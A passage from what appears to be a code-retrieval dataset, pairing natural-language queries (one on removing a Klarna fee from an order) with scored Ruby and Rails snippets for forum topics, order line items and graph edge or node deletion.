Time.now\n\t\t@topic.save\n\n\t\trespond_to do |format|\n\t\t\tif @topic.save && @reply.save\n\t\t\t\tformat.html { redirect_to admin_topic_path(@topic), notice: 'Το θέμα δημιουργήθηκε με επιτυχία' }\n\t\t\t\tformat.json { render json: @topic, status: :created, location: @topic }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @topic.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "06241b03f12f78035c895db44c1b2bd1", "score": "0.63411564", "text": "def update\n\n # create new Post\n post = Post.new(params[:post])\n post.user_id = current_user.user_id\n post.ip_address = request.remote_ip\n # fetch topic\n @topic = Topic.find(post.thread_id)\n @topic.user_id = post.user_id\n\n # add post to topic\n @topic.posts.push(post)\n @topic.save\n\n redirect_to :action=>\"index\"\n\n end", "title": "" }, { "docid": "4eb474b3ad203e6c2e9ae2cad72d4019", "score": "0.6339829", "text": "def create\n @topic = Topic.new(topic_params)\n @topic.category_id = @category.id\n @topic.user_id = session[:id]\n if @topic.save\n flash[:notice] = 'Topic created successfully.'\n redirect_to(action: 'index', category_id: @category.id)\n else\n @categories = Category.sorted\n @topic_count = Topic.count + 1\n render('new')\n end\n end", "title": "" }, { "docid": "0e91aaec9b94fdb5267676869259371c", "score": "0.63386637", "text": "def create\n @topic = Topic.find(params[:topic_id])\n if @topic.locked\n flash[:alert] = \"Topic locked.\"\n redirect_to :back\n else\n @topic.update_attributes(:last_post_at => Time.now)\n @post = @topic.posts.build(params[:post])\n @post.user = current_user\n\n if @post.save\n flash[:notice] = 'Post was successfully created.'\n redirect_to topic_url(@post.topic_id)\n else\n render :action => \"new\"\n end\n end\n end", "title": "" }, { "docid": "8ced7cfe31218f9aa5bdf8a336449e8d", "score": "0.6331157", "text": "def add_topics_to_post\n topics_arr = get_topics_arr\n topics_arr.each{|topic_name|\n # topic = Topic.where(name: topic_name).first_or_initialize\n # topic.save\n topic = Topic.find_by(name: topic_name)\n pt_relationship = PtRelationship.create(micropost_id: id, topic_id: topic.id)\n }\n end", "title": "" }, { "docid": "ab335a7ef0c0eab686d6e720ee2ec164", "score": "0.63257873", "text": "def topic\n\t\ttopic = Topic.find(self.topic_id)\n\t\treturn topic\n\tend", "title": "" }, { "docid": "0586e48cce3dce8ffd524d25a5bc7d33", "score": "0.6325754", "text": "def create\n @topic = @knowledge_map.topics.build(topic_params)\n\n respond_to do |format|\n if @topic.save\n format.json { render :show, status: :created, location: @topic }\n else\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "52c5fae9578be904d6cacffdaadbefa6", "score": "0.632311", "text": "def topic\n ensure_gapi!\n # Always disable autocreate, we don't want to recreate a topic that\n # was intentionally deleted.\n Topic.new_lazy @gapi[\"topic\"], connection, false\n end", "title": "" }, { "docid": "0542b81b4d617f370ca0dab0cb8cf114", "score": "0.63227373", "text": "def create\n @topic = Topic.new(params[:topic])\n @topic.user_id = current_user.id\n respond_to do |format|\n if @topic.save\n flash[:notice] = 'Topic was successfully created.'\n format.html { redirect_to(@topic) }\n format.xml { render :xml => @topic, :status => :created, :location => @topic }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @topic.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1a67102cd492025737046b7e7632a5ef", "score": "0.6319371", "text": "def set_topic\n @topic = Topic.find(params[:topic_id])\n end", "title": "" }, { "docid": "1a67102cd492025737046b7e7632a5ef", "score": "0.6319371", "text": "def set_topic\n @topic = Topic.find(params[:topic_id])\n end", "title": "" }, { "docid": "1a67102cd492025737046b7e7632a5ef", "score": "0.6319371", "text": "def set_topic\n @topic = Topic.find(params[:topic_id])\n end", "title": "" }, { "docid": "1a67102cd492025737046b7e7632a5ef", "score": "0.6319371", "text": "def set_topic\n @topic = Topic.find(params[:topic_id])\n end", "title": "" }, { "docid": "1a67102cd492025737046b7e7632a5ef", "score": "0.6319371", "text": "def set_topic\n @topic = Topic.find(params[:topic_id])\n end", "title": "" }, { "docid": "12b043a40abb63810d0c9f402da73d87", "score": "0.63160497", "text": "def update_topic_infos\n if self.new_topic.nil?\n t = self.topic\n t.members.each do |member|\n if member.unread == 0\n member.post_id = self.id\n member.page = @page\n end\n if member.nickname == self.creator_n\n member.posts_count += 1\n member.unread = 0\n else\n member.unread += 1\n end\n end\n t.last_user = self.creator_n\n t.posted_at = Time.now.utc\n t.posts_count += 1\n t.save\n end\n end", "title": "" }, { "docid": "02482e0076475404d239144906b46f9a", "score": "0.63146734", "text": "def create\n @topic = Topic.new(params[:topic])\n @topic.user_id = current_user.id\n\n respond_to do |format|\n if @topic.save\n format.html { redirect_to @topic, notice: 'Topic was successfully created.' }\n format.json { render json: @topic, status: :created, location: @topic }\n else\n format.html { render action: \"new\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4b409530c22373c1bd623e2fdb0ac66b", "score": "0.63081115", "text": "def set_topic\n topic = Topic.find_by(id: params[:id])\n end", "title": "" }, { "docid": "86ebf937d28415254017960a08312920", "score": "0.63016266", "text": "def find_or_add_topic\n newTopic = params[:new_topic].strip\n if newTopic.length > 0\n topic = Topic.find_by_name(newTopic)\n if topic == nil\n topic = Topic.new(:name => newTopic, :slug => newTopic.downcase.gsub(/[^a-zA-Z0-9]/, '-'))\n topic.save\n \n @addedTopic = topic\n end\n\n params[:feed][:topic_id] = topic.id\n end\n end", "title": "" }, { "docid": "0126f003e8cd6aee095476897f894d7b", "score": "0.63013154", "text": "def find_or_create_topic(topic_name)\n topic_registry(topic_name) || create_topic(topic_name)\n end", "title": "" }, { "docid": "4a4196478e0af190dce8cb1c9a16fa23", "score": "0.6296675", "text": "def create\n @topic = @forum.topics.new(topic_params)\n @topic.user = current_user\n respond_to do |format|\n if @topic.save\n format.html { redirect_to @topic, notice: t('.success') }\n format.json { render :show, status: :created, location: @topic }\n else\n format.html { render :new }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5ab79123d4d4660c278b7a1da96cbb5e", "score": "0.62954307", "text": "def topic( name )\n raise NotImplementedError, \"please implement 'topic'\"\n end", "title": "" }, { "docid": "ab031f5bc5e36171d8c9e378fe28d688", "score": "0.629418", "text": "def create\n @topic = Topic.new(params[:topic])\n\n respond_to do |format|\n if @topic.save\n format.html { render text: \"ok\" }\n format.json { render json: @topic, status: :created, location: @topic }\n else\n format.html { render action: \"new\", layout: false, status: :unprocessable_entity }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "95e1c40b7745e3dc215a4bdff7efa4e3", "score": "0.62934554", "text": "def set_topic\r\n @topic = Topic.find(params[:id])\r\n end", "title": "" }, { "docid": "5cf1d208f89d42d2cb9bb498673e6cf5", "score": "0.62902117", "text": "def associate_topic(topic)\n self.synchronize do\n @topic = topic\n end\n end", "title": "" }, { "docid": "5cf1d208f89d42d2cb9bb498673e6cf5", "score": "0.62902117", "text": "def associate_topic(topic)\n self.synchronize do\n @topic = topic\n end\n end", "title": "" }, { "docid": "5cf1d208f89d42d2cb9bb498673e6cf5", "score": "0.62902117", "text": "def associate_topic(topic)\n self.synchronize do\n @topic = topic\n end\n end", "title": "" }, { "docid": "0f4686481de2d1be097b8bd811dac3f5", "score": "0.6287096", "text": "def create\n @forum = Forum.find_by_permalink(params[:forum_id])\n @topic = @forum.topics.build(params[:topic])\n @post = Post.new(params[:post])\n\n @topic.user = current_user\n @topic.latest_post_id = @post.id\n @post.user = current_user\n @post.topic = @topic\n @post.title = @topic.title\n @topic.permalink = create_permalink(params[:topic][:title])\n\n respond_to do |format|\n if @post.save && @topic.save\n @topic.latest_post_id = @post.id\n @topic.save\n format.html { redirect_to forum_topic_path(@forum, @topic), notice: 'Topic was successfully created.' }\n format.json { render json: @topic, status: :created, location: @topic }\n else\n format.html { render action: \"new\" }\n format.json { render json: [@topic.errors, @post.errors], status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "acf01e36b15a5cd6eced7dfdce84b13f", "score": "0.628625", "text": "def create\n\n @topic = Topic.new(:name => params[:topic][:name], :last_poster_id => current_user.id, :last_post_at => Time.now, :forum_id => params[:topic][:forum_id], :user_id => current_user.id)\n\n if @topic.save\n @post = Post.new(:content => params[:post][:content], :topic_id => @topic.id, :user_id => current_user.id)\n\n if @post.save\n flash[:notice] = \"Successfully created topic.\"\n redirect_to \"/forums/#{@topic.forum_id}\"\n else\n redirect :action => 'new'\n end\n else\n render :action => 'new'\n end\n end", "title": "" }, { "docid": "326879c45aea221d4e72750f8fca1d7f", "score": "0.62852806", "text": "def create\n @topic = @project.topics.build(params[:topic])\n @topic.creator = current_user\n respond_to do |format|\n if @topic.save\n format.html { redirect_to project_topic_path(@project, @topic), :flash => { :success => 'Topic was successfully created.' } }\n format.json { render json: @topic, status: :created, location: @topic }\n else\n format.html { render action: \"new\" }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "46077258097de4cd5a11385c727c7b64", "score": "0.6284963", "text": "def addTopic topic\n \tif (computeTopicTotal + topic.noLectures <= \n WKS_PER_SEMESTER * @noLecturesPerWeek )\n @topics << topic \n true\n else\n \t false\n end\n end", "title": "" }, { "docid": "95e774af1cda34b26256b5b4a053650c", "score": "0.62826496", "text": "def create\n\t\t@group = Group.find(params[:id])\n\t\t@topic = Topic.new(topic_params)\n\t\t@topic.user_id = current_user.id\n\t\t@topic.group_id = @group.id\n\t\t@topic.reply_count = 0\n\t\trespond_to do |format|\n\t\t\tif @topic.save\n\t\t\t\t@group.post_count = @group.post_count + 1\n\t\t\t\t@group.save\n\t\t\t\t@topics_of_group = @group.topics.order(heading: :asc).paginate(page: params[:page], per_page: 24)\n\t\t\t\tformat.html { redirect_to @topic, notice: 'Topic was successfully created.' }\n\t\t\t\tformat.json { render :show, status: :created, location: @topic }\n\t\t\t\tformat.js\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @topic.errors, status: :unprocessable_entity }\n\t\t\t\tformat.js\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "7e3280a371d2c1ace640623eb3e586a0", "score": "0.6273868", "text": "def create\n @topic = Topic.new(topic_params)\n if session[:user_id]\n @topic.user_id = session[:user_id]\n end\n if @topic.valid?\n respond_to do |format|\n if @topic.save\n @muscleup = MuscleUp.new(total: 0, topic_id: @topic.id)\n @muscleup.save\n format.html { redirect_to @topic, notice: 'Topic was successfully created.' }\n format.json { render :show, status: :created, location: @topic }\n else\n format.html { render :new }\n format.json { render json: @topic.errors, status: :unprocessable_entity }\n end\n end\n else\n render :new\n end\n end", "title": "" }, { "docid": "a5bfd64ee685daa0988385565242aca2", "score": "0.6266055", "text": "def create\n @topic = Topic.new(params[:topic])\n\n respond_to do |format|\n if @topic.save\n format.html { redirect_to(topics_path, :notice => \"\\\"#{@topic.name}\\\" has been successfully suggested as a Topic.\") }\n format.xml { render :xml => @topic, :status => :created, :location => @topic }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @topic.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7f9cebc4bcf5d4e2d34faefc852bfc5c", "score": "0.6263777", "text": "def create\n params[:topic][:user_id] = current_user.id\n params[:topic][:forum_id] = @forum.id\n @topic = Topic.new(params[:topic])\n\n respond_to do |format|\n if @topic.save\n format.html { redirect_to(forum_topic_path(@forum, @topic), :notice => 'Topic was successfully created.') }\n format.xml { render :xml => @topic, :status => :created, :location => @topic }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @topic.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" } ]
aa5028f1491df752e0efde217b1d1122
delete from order all adj with klarna fee
[ { "docid": "363489723a25e2fa51a3dd0ace33f83b", "score": "0.6666977", "text": "def remove_klarna_fee!\n if remove_klarna?\n adjustments.klarna_invoice_cost.destroy_all\n update!\n end\n end", "title": "" } ]
[ { "docid": "b48e54235f9bf7db814f4213f87e8abd", "score": "0.583115", "text": "def remove_legacy_fees\n @legacy_deletes = Fee.where(category: \"FTR\").where(\"id < 400\").delete_all\n end", "title": "" }, { "docid": "d2cda56388d0d80804e7b1e501b9448e", "score": "0.5558304", "text": "def delete\n LineItem.delete_for_order(order_id)\n CreditCardTransaction.remove_references_to_order(order_id)\n super\n end", "title": "" }, { "docid": "46abd963e84e43d34ad0e738ac5d1b9a", "score": "0.55523455", "text": "def delete\n\t\tdb.execute{ \"delete edge #{ref_name} #{rrid}\" }\n\tend", "title": "" }, { "docid": "836d6b0b24ae33f4ba0eab30656c80d6", "score": "0.5505844", "text": "def nuclear_option!\n query(\"MATCH (n) DETACH DELETE n\")\n end", "title": "" }, { "docid": "aa4dbd8f2e1cbd105924f36866521245", "score": "0.5478234", "text": "def delete_all_by_dependant(dependant)\n for id in @dependency.keys\n\tdelete_all_dependency(id, dependant)\n end\n end", "title": "" }, { "docid": "94c07fe7a6d2bdbd0dace11ba5be2277", "score": "0.54587495", "text": "def delete_all\n neo4j_query(\"MATCH (n:`#{mapped_label_name}`) OPTIONAL MATCH (n)-[r]-() DELETE n,r\")\n end", "title": "" }, { "docid": "56084600ef86bc4458bfc2f4ff708a3b", "score": "0.5424452", "text": "def delete_entry(aliaz)\n\n end", "title": "" }, { "docid": "39ce8b5884dd7b246dbef19418810601", "score": "0.54219145", "text": "def delete_all\n Neo.db.execute_query(\"#{initial_match} OPTIONAL MATCH (n0)-[r]-() DELETE n0,r\")\n end", "title": "" }, { "docid": "5444a4dfe65b7c026e32d5d139170b18", "score": "0.5414852", "text": "def delete_lines_main_order\n # Eliminamos las lineas de la orden principal\n @main_order.line_items.each do |line_item|\n line_item.delete\n end\n # Eliminamos la orden principal\n @main_order.delete\n end", "title": "" }, { "docid": "971f3a6a5a11581944fad6a6f616b5e1", "score": "0.54141617", "text": "def before_destroy\n if (self.costs.count > 0)\n raise RException.new(\"This order has cost-items attached to it -- You must first delete those costs before you can delete this order\")\n end\n end", "title": "" }, { "docid": "289e6d2ddb249c0f9a74a908fcfb562e", "score": "0.5406133", "text": "def delete_all(xpath); end", "title": "" }, { "docid": "faa3597b1ee69cbc736a64603b36e66e", "score": "0.53839904", "text": "def delete(key)\n @mutex.synchronize do\n x = anchor\n level = node_level(x)\n update = Array.new(level)\n x = find_with_update(x, level, key, update)\n \n # remove existing key\n \t if node_compare(x, key) == 0\n \t level = node_level(x)\n \t while level > 0\n \t level -= 1\n \t node_delete_after!(x, update[level], level)\n end\n \t end\n end\n \tself\n \tend", "title": "" }, { "docid": "f319f19424aa2b40f4574a1eda3f720c", "score": "0.53729516", "text": "def delete_edge(from, to)\n @edges_cost[from].delete to\n @edges_up[from].delete to\n end", "title": "" }, { "docid": "5fe76916b8e6e1cbf3d2203df9cca616", "score": "0.5327309", "text": "def delete!\n graph.remove_edge element\n end", "title": "" }, { "docid": "5fe76916b8e6e1cbf3d2203df9cca616", "score": "0.5327309", "text": "def delete!\n graph.remove_edge element\n end", "title": "" }, { "docid": "b96208a7a100912c65811b3f82de7e60", "score": "0.5305213", "text": "def reverse_delete(result)\n edges = result[0]\n hitList = result[1]\n\n hitList.each do |k, dist|\n edges[k[0]].delete(k[-1])\n edges[k[-1]].delete(k[0])\n\n unless path_exists?(edges, k[0], k[-1]) #check if connection still path\n p \"path does not exist, reconnecting #{k[0]} to #{k[-1]} \"\n edges[k[0]][k[-1]] = dist\n edges[k[-1]][k[0]] = dist\n end\n end\n\n edges\n end", "title": "" }, { "docid": "79bd5d98dc7f85b55cc4051ec488f182", "score": "0.5301568", "text": "def test_delete_link\r\n @node5.measurement = 45.8\r\n @node4.value_function = ValueFunction.new(0, 100, 'elephants')\r\n \r\n link = @linklist.add_link(@node5, @node4, true)\r\n\r\n (0..1).each { |i| assert_in_delta(@node4.evidence[i], 0.458, 0.0001) } \r\n \r\n @linklist.remove_link(link)\r\n assert_equal(Evidence.undefined, @node4.evidence) \r\n \r\n @node5.measurement = 10\r\n assert_equal(Evidence.undefined, @node4.evidence) \r\n end", "title": "" }, { "docid": "53bdf504844b88745454acc54f307e4d", "score": "0.5298959", "text": "def delete_other_bids(assignment_id, user_id)\n entries = SignedUpUser.find_by_sql([\"SELECT su.* FROM signed_up_users su , sign_up_topics st WHERE su.topic_id = st.id AND st.assignment_id = ? AND su.creator_id = ? AND su.is_waitlisted = 1\",assignment_id,user_id] )\n entries.each { |o| o.destroy }\nend", "title": "" }, { "docid": "71ddfcdc513a0cc7195f7613f7915bab", "score": "0.5278766", "text": "def delete!\n graph.removeEdge element\n end", "title": "" }, { "docid": "d686dcca5cf32ab7cea9cbd6ea1a1a26", "score": "0.5262102", "text": "def destroy\n @line_item = LineItem.find(params[:id])\n @order = @line_item.order\n @line_item.destroy\n \n @order.total = @order.line_items.sum(:line_total)\n @order.update_attribute(:total, @order.total)\n\n respond_to do |format|\n format.html { redirect_to request.env[\"HTTP_REFERER\"] }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "d4efb20934d82856bc12f3a0a469a6df", "score": "0.5260337", "text": "def test_delete_if\n graph = Rgraphum::Graph.new\n (0..9).each do |i|\n graph.vertices << { label: \"v#{i}\" }\n end\n (0..9).each do |i|\n graph.edges << {\n source: graph.vertices[i],\n target: graph.vertices[(i+1) % 10],\n weight: i,\n }\n end\n\n # v0 -> v1 -> v2 -> v3 -> v4 -> v5 -> v6 -> v7 -> v8 -> v9\n # ^ |\n # +-----------------------------------------------------+\n assert_equal 10, graph.vertices.size\n assert_equal 10, graph.edges.size\n graph.vertices do |vertex|\n assert_equal 2, vertex.edges.size\n end\n\n graph.edges.delete_if { |edge| edge.weight.odd? }\n # graph.edges.reject! { |edge| edge.weight.odd? }\n\n # v0 -> v1 v2 -> v3 v4 -> v5 v6 -> v7 v8 -> v9\n assert_equal 10, graph.vertices.size\n assert_equal 5, graph.edges.size, \"edges.size was 10 but deleted 5 edges\"\n\n assert_equal 0, graph.edges[0].weight\n assert_equal 2, graph.edges[1].weight\n assert_equal 4, graph.edges[2].weight\n assert_equal 6, graph.edges[3].weight\n assert_equal 8, graph.edges[4].weight\n\n graph.vertices do |vertex|\n assert_equal 1, vertex.edges.size\n end\n end", "title": "" }, { "docid": "c771c504748c3d2d17fd6a250a433a10", "score": "0.5243712", "text": "def delete_old_nodes (days_to_keep = DAYS_TO_KEEP_NODE)\n children.where('updated_at < ?', Time.now - days_to_keep.day).each do |node|\n node.destroy_self_and_children!\n end\n end", "title": "" }, { "docid": "1fe4175d3c733b654085a828daaabd99", "score": "0.5210704", "text": "def incomplete_delete\n incomplete.delete_all\n end", "title": "" }, { "docid": "01613d262bc2372f6b189c1666f6ad93", "score": "0.5208229", "text": "def delete_nth(order,max_e)\n #z\n # each перебирает каждый элемент массива order. добавить его в новый массив res\n # за исключением когда счётчик этого элемента будет равен числу за скобками\n res = []\n order.each { |num| res << num unless res.count(num) == max_e }\n p res\n\n # другой вариант записи\n # p order.select.with_index { |x, index| order[0..index].count(x) <= max_e }\n\n\n# то же самое через хеш\n# result = []\n# hash = Hash.new(0)\n# order.each do |a|\n# hash[a] += 1\n# result << a if hash[a] <= max_e\n# end\n# result\n\n\n\n\n# лучшее решение по kate\n# hash = Hash.new(0)\n# order.reject { |a| (hash[a] += 1) > max_e }\n\n\n# p order.delete_if {|i| order.count(i) > max_e} # порядок не сохраняется\nend", "title": "" }, { "docid": "f038bb174c7bb9ca2c67fef45f6aa98f", "score": "0.51984566", "text": "def remove_from_graph\n # Ignores trying to delete nonexistent records\n connection.execute <<-EOS\n DELETE IGNORE FROM #{oqgraph_table_name} WHERE origid = #{self.send(self.class.from_key)} AND destid = #{self.send(self.class.to_key)};\n EOS\n end", "title": "" }, { "docid": "ebcd79516d276eccce8605752d4ba751", "score": "0.5197664", "text": "def delete!\n # delete changes the node.modified_index\n @etcd_node = etcd.delete(etcd_key).node\n end", "title": "" }, { "docid": "e3b51e3a254db434b9f6453f2de1465a", "score": "0.51608163", "text": "def delete_node_group_descendents(node_group_model)\n id = node_group_model['id']\n tree = get_node_group_trees_of_direct_descendents\n tree[id].each do |childid|\n delete_tree_recursion(tree, childid)\n end\n end", "title": "" }, { "docid": "15e8b1f95e8bf6638e68217a26540563", "score": "0.5153915", "text": "def clear_free_items\n free_items = @order.line_items.select {|item| item.price == 0}\n @order.line_items.delete(*free_items)\n end", "title": "" }, { "docid": "1573674bbe4af9e62a3ed122e188acc9", "score": "0.51527274", "text": "def eliminar_una_venta(venta)\n venta[:size]-=1\n nodo = venta[:tope]\n venta[:tope] = venta[:siguiente]\n nodo = nil\nend", "title": "" }, { "docid": "906dac87519086cac77cc624c55f759a", "score": "0.5147438", "text": "def delete_expired_jobs\n ref_ids_in_db = Set.new(Listing.where('ref_id IS NOT NULL').pluck(:ref_id))\n ref_ids_in_feed = Set.new(@ref_id_xpath.map(&:text).map(&:to_i))\n Listing.where(ref_id: (ref_ids_in_db - ref_ids_in_feed).to_a).update_all(\"status = 'expired'\")\n end", "title": "" }, { "docid": "5f2cfaa9a52529f90dc138cdb7367437", "score": "0.51465964", "text": "def delete_edge!(from, to)\n protected_delete_edge!(from, to)\n protected_delete_edge!(to, from)\n @edge_number -= 1\n end", "title": "" }, { "docid": "2d9f9834807453c3ee3deacfae044253", "score": "0.51426315", "text": "def delete_all\n sum(&:delete_all)\n end", "title": "" }, { "docid": "ccbf61b57adea1a854b6475446f2c91f", "score": "0.5140068", "text": "def delete_edge!(from, to)\n protected_delete_edge!(from, to)\n @edge_number -= 1\n end", "title": "" }, { "docid": "6bd9ab18a161e0a138c0f1d125c67507", "score": "0.5126009", "text": "def deleteForeignEntries(keys, main)\n keys.each { |tbl, lnks|\n if (lnks.empty?) then \n raise Puppet::DevError, \"Link missing foreign keys for #{tbl} in foreign_keys variable of vclresource child provider\"\n end\n if self.class.protectedHashKeys.include? tbl then\n # do nothing\n else\n if lnks[:recurse] == nil then\n lnks[:recurse] = []\n end\n lnks.each { |col, lnk|\n if self.class.protectedHashKeys.include? col then\n # do nothing\n elsif lnks[:recurse].include? col then \n if keys[tbl][col][:step][0].split('.')[0] == main then\n qry = \"DELETE FROM #{tbl} WHERE #{keys[tbl][col][:step][1]} NOT IN (SELECT #{keys[tbl][col][:step][0].split('.')[1]} FROM #{main})\"\n self.class.runQuery(qry)\n end\n deleteForeignEntries(lnks, tbl)\n end\n }\n end\n }\n end", "title": "" }, { "docid": "5496d514b64a7a9a308b608358c4645d", "score": "0.5102183", "text": "def og_delete(store, cascade = true)\n pk_field = self.class.primary_key\n pk_field = self.class.ann(pk_field, :field) || pk_field\n pk = instance_variable_get(\"@#{pk_field}\")\n\n transaction_raise do |tx|\n if cascade && descendants = self.class.ann(:self, :descendants)\n descendants.each do |descendant|\n case descendant\n when ManyToMany\n # delete all entries in the join table pointing to current obj\n tx.exec \"DELETE FROM #{descendant.join_table} WHERE #{descendant.owner_key}=#{store.quote(pk)}\"\n when BelongsTo\n # delete all objecs belonging to the current obj\n descendant.owner_class.find(:where => \"#{descendant.foreign_key} = #{store.quote(pk)}\", :extra_condition => nil).each {|x| x.delete }\n end\n end\n end\n # delete obj itself\n tx.exec \"DELETE FROM #{self.class.table} WHERE #{pk_field}=#{store.quote(pk)}\"\n end\n end", "title": "" }, { "docid": "b85c38dc042f800c169ceda31617b7c8", "score": "0.5092615", "text": "def karger(g)\n if g.nodes.size <= 2\n return g.edges.size\n end\n # pp \"-------------------------\"\n e = g.edges.to_a.at(rand(g.edges.size))\n # pp \"picked edge: \"\n # print_edge e\n # pp \"left edges size: #{g.edges.size}\"\n n1 = e.nodes.to_a[0]\n n2 = e.nodes.to_a[1]\n # print_edge e\n # print_node n1\n # print_node n2\n n1.edges.merge(n2.edges)\n # print_node n1\n n1.edges.delete(e)\n g.edges.delete(e)\n edges_to_be_deleted = []\n n1.edges.to_a.each do |e|\n if e.nodes.include?(n2)\n e.nodes.delete(n2)\n e.nodes.add(n1)\n end\n if e.nodes.size < 2\n edges_to_be_deleted << e\n end\n end\n # puts \"before purge:\"\n # print_node n1\n edges_to_be_deleted.each do |e|\n n1.edges.delete e\n g.edges.delete e\n end\n # puts \"after adjust node: \"\n # print_node n1\n g.nodes.delete(n2.index)\n karger(g)\nend", "title": "" }, { "docid": "deb92ac98b6abd379b983edf1dd2c7c5", "score": "0.50868255", "text": "def check_detalles_negativos(deleted = false)\n\n monedas = detalles.map(&:moneda_id) # monedas de los detalles\n caja = Caja.get_caja_por_forma(:efectivo) # caja efectivo\n saldos = caja.saldos_por_moneda(monedas) # saldos de esas monedas\n\n if deleted\n detalles.each do |d|\n saldos[d.moneda_id] += (d.monto)\n end\n else\n detalles.each do |d|\n saldos[d.moneda_id] -= (d.monto - d.monto_was.to_f)\n end\n end\n monedas_negativas = saldos.map{ |m, v| m if v < 0 }.compact\n monedas_negativas.empty? ? [] : Moneda.find(monedas_negativas) # retorna un conjunto de monedas que pueden quedar con saldo negativo\n\n end", "title": "" }, { "docid": "88ffa8019037f14bf6ca9ed71ef9d5c2", "score": "0.5086007", "text": "def delete!\n graph.removeVertex element\n end", "title": "" }, { "docid": "855462199bcd80fc28bfdbf9a71d6a57", "score": "0.50856864", "text": "def delete!\n graph.remove_vertex element\n end", "title": "" }, { "docid": "3ad965c5b4b8c4d9f2af946d760aafe5", "score": "0.5080323", "text": "def remove\n @order.ig_remove_order\n redirect_to admin_orders_path\n end", "title": "" }, { "docid": "c8e1a6fddee51b8ca50f2788335404ac", "score": "0.50799006", "text": "def destroy_associated_objects\r\n # KKL Verlauf\r\n verlaeufe = KKLVerlauf.find(:all, :conditions => [\"KtoNr = ?\", self.KtoNr])\r\n verlaeufe.each do |verlauf|\r\n verlauf.destroy()\r\n end\r\n\r\n # EEKonto\r\n eeKonten = EeKonto.find(:all, :conditions => [\"KtoNr = ?\", self.KtoNr])\r\n eeKonten.each do |ee|\r\n ee.destroy()\r\n end\r\n\r\n # ZEKonto\r\n zeKonten = ZeKonto.find(:all, :conditions => [\"KtoNr = ?\", self.KtoNr])\r\n zeKonten.each do |ze|\r\n ze.destroy()\r\n end\r\n\r\n end", "title": "" }, { "docid": "1b629aa2ac00f454abd44e34a3083114", "score": "0.50789183", "text": "def destroy\r\n @cost.destroy\r\n end", "title": "" }, { "docid": "546146d3bb90c84a5b1a2157c5948d61", "score": "0.50582135", "text": "def deleteExtraUnits(allIds)\n dbUnits = Set.new(Unit.map { |unit| unit.id })\n (dbUnits - allIds).each { |id|\n puts \"Deleting extra unit: #{id}\"\n DB.transaction do\n UnitHier.where(unit_id: id).delete\n Unit[id].delete\n end\n }\nend", "title": "" }, { "docid": "ad1fbb3123986400050e2be6bfe7643a", "score": "0.50544167", "text": "def remove_edge(id1, id2)\n # YOUR WORK HERE\n end", "title": "" }, { "docid": "7ee793b010b4a4db8c076358b47d537e", "score": "0.5052774", "text": "def remove(name)\n lock\n read\n @inv.each_pair { |_group, nodes|\n nodes.delete(name)\n }\n save!\n unlock\n end", "title": "" }, { "docid": "a7184fd2815fcc27efcc64de037348b2", "score": "0.50497967", "text": "def remove_nodes(attr={})\n attr = {\n :threshold => 2,\n :weight => false,\n :dir => :all,\n :type => :plain\n }.merge(attr)\n\n threshold = attr[:threshold]\n weight = attr[:weight]\n dir = attr[:dir]\n plain = (attr[:type] == :plain)\n\n if b=attr[:hirsch]\n weight = :hirsch\n else\n b = 1\n end\n\n testnodes = @nodes\n delnodes = Set.new\n dellinks = Set.new\n\n finished = false\n\n while(!finished)\n ndels = if weight==:hirsch\n case attr[:dir]\n when :in\n testnodes.select { |n| !hirsch?(@destlinks[n],threshold,b) }\n when :out\n testnodes.select { |n| !hirsch?(@sourcelinks[n],threshold,b) }\n when :max\n testnodes.select { |n| !(hirsch?(@destlinks[n],threshold,b) ||\n hirsch?(@sourcelinks[n],threshold,b)) }\n when :min\n testnodes.select { |n| (!hirsch?(@destlinks[n],threshold,b) ||\n !hirsch?(@sourcelinks[n],threshold,b)) }\n else\n testnodes.select { |n| !hirsch?(@destlinks[n] + \n @sourcelinks[n],\n threshold,b) }\n end\n else\n case attr[:dir]\n when :in\n testnodes.select { |n| n_indegree(n,weight) < threshold }\n when :out\n testnodes.select { |n| n_outdegree(n,weight) < threshold }\n when :max\n testnodes.select { |n| ((n_outdegree(n,weight) < threshold) &&\n (n_indegree(n,weight) < threshold)) }\n when :min\n testnodes.select { |n| ((n_outdegree(n,weight) < threshold) ||\n (n_indegree(n,weight) < threshold)) }\n else\n testnodes.select { |n| n_degree(n,weight) < threshold }\n end\n end\n \n delnodes.merge(ndels)\n testnodes = Set.new\n \n ndels.each do |n|\n @sourcelinks[n].each { |l| \n d = l.dest \n testnodes << d\n @destlinks[d].delete(l)\n dellinks << [n,d]\n }\n @destlinks[n].each { |l| \n s = l.src\n testnodes << s\n @sourcelinks[s].delete(l)\n dellinks << [s,n]\n }\n end\n\n testnodes.subtract(delnodes) # is this faster?\n\n finished = plain || testnodes.empty?\n\n end \n\n dellinks.each { |a| @links.delete(a) }\n\n @nodes -= delnodes.to_a\n\n self\n end", "title": "" }, { "docid": "31509dd7ce8b09b483f9c446996c18f5", "score": "0.50470215", "text": "def delete elemento\n borrar = []\n borrar << elemento\n @@Ordenadores = @@Ordenadores - borrar\n end", "title": "" }, { "docid": "8d849e3904238daaea801698300d119f", "score": "0.50463563", "text": "def delete_branch\n #we'll get all descendants by level descending order. That way we'll make sure deletion will come from children to parents\n children_to_be_deleted = self.class.find(:all, :conditions => \"id_path like '#{self.id_path},%'\", :order => \"level desc\")\n children_to_be_deleted.each {|d| d.destroy}\n #now delete my self 